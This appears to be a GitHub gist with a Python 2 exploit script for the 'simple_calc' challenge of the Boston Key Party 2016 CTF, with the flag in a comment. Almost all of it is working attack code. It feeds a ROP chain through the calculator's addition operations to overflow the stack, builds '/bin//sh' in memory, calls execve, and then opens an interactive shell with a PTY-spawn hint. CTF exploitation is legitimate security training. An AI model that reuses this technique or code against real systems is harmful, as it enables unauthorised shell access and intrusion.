Created
March 7, 2016 12:33
-
-
Save hugsy/88e7137466505e0402ca to your computer and use it in GitHub Desktop.
bkpctf16: simple_calc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# | |
# $ cat key | |
# BKPCTF{what_is_2015_minus_7547} | |
# | |
import socket, struct, sys, telnetlib, binascii | |
HOST = "simplecalc.bostonkey.party" | |
#HOST = "localhost" | |
PORT = 5400 | |
def hexdump(src, length=0x10): | |
f=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) ; n=0 ; result='' | |
while src: | |
s,src = src[:length],src[length:]; hexa = ' '.join(["%02X"%ord(x) for x in s]) | |
s = s.translate(f) ; result += "%04X %-*s %s\n" % (n, length*3, hexa, s); n+=length | |
return result | |
def xor(data, key): return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(data, itertools.cycle(key))) | |
def h_s(i,signed=False): return struct.pack("<H", i) if not signed else struct.pack("<h", i) | |
def h_u(i,signed=False): return struct.unpack("<H", i)[0] if not signed else struct.unpack("<h", i)[0] | |
def i_s(i,signed=False): return struct.pack("<I", i) if not signed else struct.pack("<i", i) | |
def i_u(i,signed=False): return struct.unpack("<I", i)[0] if not signed else struct.unpack("<i", i)[0] | |
def q_s(i,signed=False): return struct.pack("<Q", i) if not signed else struct.pack("<q", i) | |
def q_u(i,signed=False): return struct.unpack("<Q", i)[0] if not signed else struct.unpack("<q", i)[0] | |
def _xlog(x): | |
sys.stderr.write(x + "\n") | |
sys.stderr.flush() | |
return | |
def err(msg): _xlog("[!] %s" % msg) | |
def ok(msg): _xlog("[+] %s" % msg) | |
def dbg(msg): _xlog("[*] %s" % msg) | |
def xd(msg): _xlog("[*] Hexdump:\n%s" % hexdump(msg)) | |
def build_socket(host, port): | |
s = telnetlib.Telnet(HOST, PORT) | |
ok("Connected to %s:%d" % (host, port)) | |
return s | |
def interact(s): | |
try: | |
ok("""Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')" '""") | |
s.interact() | |
except KeyboardInterrupt: | |
ok("Leaving") | |
except Exception as e: | |
err("Unexpected exception: %s" % e) | |
return | |
def pwn(s): | |
addrs = [0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, | |
0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, | |
0x42424242, 0x43434343, # overwritten vars | |
0x00000000, 0x00000000, # for free(NULL) | |
0x44444444, 0x44444444, # last overwritten vars | |
0x44444444, 0x44444444, # sfp | |
0x401c87, 0, # pop rsi ; ret | |
0x6c3110, 0x0, # addr rw | |
0x44db34, 0, # pop rax ; ret | |
0x6e69622f, 0x68732f2f, # /bin//sh | |
0x470f11, 0, # mov qword ptr [rsi], rax ; ret | |
0x447233, 0, # mov rax,rsi; ret | |
0x479295, 0, # mov edi, eax ; dec dword ptr [rax - 0x77] ; ret | |
0x44db34, 0x0, # pop rax | |
0x3b, 0, # syscall_execve | |
0x437aa9, 0x0, # pop rdx ; pop rsi ; ret | |
0, 0, | |
0, 0, | |
0x435675, 0, # syscall() | |
] | |
s.read_until("calculations: ") | |
s.write("{}\n".format(len(addrs)+1)) | |
ok("Running %d calculations"% (len(addrs)+1)) | |
for i in xrange(len(addrs)): | |
addr = addrs[i] | |
op_1, op_2 = addr-100 , 100 | |
s.read_until("=> ") | |
s.write("1\n") | |
s.read_until("Integer x: ") | |
s.write("{:d}\n".format(op_1)) | |
s.read_until("Integer y: ") | |
s.write("{:d}\n".format(op_2)) | |
s.read_until("Result for x + y is ") | |
res = int(s.read_until(".\n")[:-2]) | |
ok("Iter %d: got result %#x" % (i+1, res)) | |
ok("Triggering exploit") | |
s.read_until("=> ") | |
s.write("5\n") | |
return True | |
if __name__ == "__main__": | |
s = build_socket(HOST, PORT) | |
dbg("Attach to gdb and press enter") | |
raw_input() | |
if pwn(s): | |
ok("Got it, interacting (Ctrl-C to break)") | |
interact(s) | |
ret = 0 | |
else: | |
err("Failed to exploit") | |
ret = 1 | |
s.close() | |
exit(ret) | |
# auto-generated by gef |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment